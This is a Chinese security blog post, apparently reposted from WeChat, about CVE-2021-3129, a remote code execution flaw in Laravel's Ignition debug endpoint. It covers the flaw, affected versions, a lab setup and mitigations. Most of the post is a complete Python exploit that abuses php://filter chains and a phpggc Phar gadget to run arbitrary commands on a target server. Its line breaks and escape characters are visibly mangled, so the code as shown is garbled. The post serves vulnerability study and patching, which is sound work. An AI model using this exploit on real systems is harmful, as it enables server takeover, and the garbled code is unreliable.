Laravel _ignition 远程代码执行漏洞

  • A+
所属分类:安全漏洞

0x01  漏洞描述


    Laravel 是一个免费的开源 PHP Web 框架,旨在实现的Web软件的MVC架构。Laravel  8.4.2及之前的版本被爆存在远程代码执行漏洞。当Laravel开启了Debug模式时,由于Laravel自带的Ignition功能的某些接口存在过滤不严,攻击者可以发起恶意请求,通过构造恶意Log文件等方式触发Phar反序列化,从而造成远程代码执行,控制服务器。


0x02  漏洞编号


CVE-2021-3129


0x03  CVSS评分/漏洞等级


暂无官方CVSS评分


0x04 漏洞影响范围


Laravel < 8.4.3 

facade ignition < 2.5.2(关键


0x05 漏洞环境搭建


安装靶机环境,安装php7.4以及对应composer,在ubuntu18.06下,通过命令安装composer,会直接安装php7.4

sudo apt install php7.4-cli

然后使用如下命令安装Laravel靶机环境

git clone https://github.com/laravel/laravel.gitcd laravelgit checkout e849812composer installcomposer require facade/ignition==2.5.1php artisan key:generatephp artisan serve --host=0.0.0.0

注意,在最后一条命令启动之前,将根目录下隐藏文件.env.example复制一份,重命名为.env后才能正常启动,否则服务器500错误。启动成功后,如下图所示。

Laravel  _ignition 远程代码执行漏洞


0x06  漏洞复现


EXP地址:https://github.com/khanhnv-2091/laravel-8.4.2-rce

#!/usr/bin/env python3
import requests, sys, re, os
header={ "Accept": "application/json"}
data = { "solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters":{ "variableName":"cm0s", "viewFile":"" } }
def clear_log(url='', viewFile=''):
global data
data['parameters']['viewFile'] = viewFile while (requests.post(url=url, json=data, headers=header, verify=False).status_code != 200): pass requests.post(url=url, json=data, headers=header, verify=False) requests.post(url=url, json=data, headers=header, verify=False)
def create_payload(url='', viewFile=''):
global data
data['parameters']['viewFile'] = viewFile resp = requests.post(url=url, json=data, headers=header, verify=False) if resp.status_code == 500 and f'file_get_contents({viewFile})' in resp.text: return True return False
def convert(url='', viewFile=''):
global data
data['parameters']['viewFile'] = viewFile resp = requests.post(url=url, json=data, headers=header, verify=False) if resp.status_code == 200: return True return False
def exploited(url='', viewFile=''):
global data
data['parameters']['viewFile'] = viewFile resp = requests.post(url=url, json=data, headers=header, verify=False) if resp.status_code == 500 and 'cannot be empty' in resp.text: m = re.findall(r'{(.|n)+}((.|n)*)', resp.text) print() print(m[0][1])
def generate_payload(command='', padding=0): if '/' in command: command = command.replace('/', '/') command = command.replace(''', '\'') os.system(r'''php -d'phar.readonly=0' ./phpggc/phpggc monolog/rce1 system '%s' --phar phar -o php://output | base64 -w0 | sed -E 's/./=00/g' > payload.txt'''%(command)) payload = '' with open('payload.txt', 'r') as fp: payload = fp.read() payload = payload.replace('==', '=3D=') for i in range(padding): payload += '=00' os.system('rm -rf payload.txt') return payload

def main():
if len(sys.argv) < 4: print('Usage: %s url path-log commandn'%(sys.argv[0])) print('tEx: %s http(s)://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log 'id''%(sys.argv[0])) exit(1)
if not os.path.isfile('./phpggc/phpggc'): print('Phpggc not found!') print('Run command: git clone https://github.com/ambionics/phpggc.git') os.system('git clone https://github.com/ambionics/phpggc.git')
url = sys.argv[1] path_log = sys.argv[2] command = sys.argv[3] padding = 0
payload = generate_payload(command, padding) if not payload: print('Generate payload error!') exit(1)
if 'http' not in url and 'https' not in url: url = 'http'+url else: url = url+'/_ignition/execute-solution'
print('nExploit...') clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log)) create_payload(url, 'AA') create_payload(url, payload) while (not convert(url, 'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=%s'%(path_log))): clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log)) create_payload(url, 'AA') padding += 1 payload = generate_payload(command, padding) create_payload(url, payload) exploited(url, 'phar://%s'%(path_log))
if __name__ == '__main__': main()

该脚本工具只能在linux环境下使用,需要安装python3以及php,我这里也是安装php7.4版本。

Laravel  _ignition 远程代码执行漏洞


0x07  缓解措施


临时防护意见:

    建议修改.env文件,关闭debug模式;


正式防护意见:

    建议将Laravel框架升级到8.4.3及以上版本。或者将facade ignition组件升级至 2.5.2 及以上版本。

    



本文始发于微信公众号(锋刃科技):Laravel _ignition 远程代码执行漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: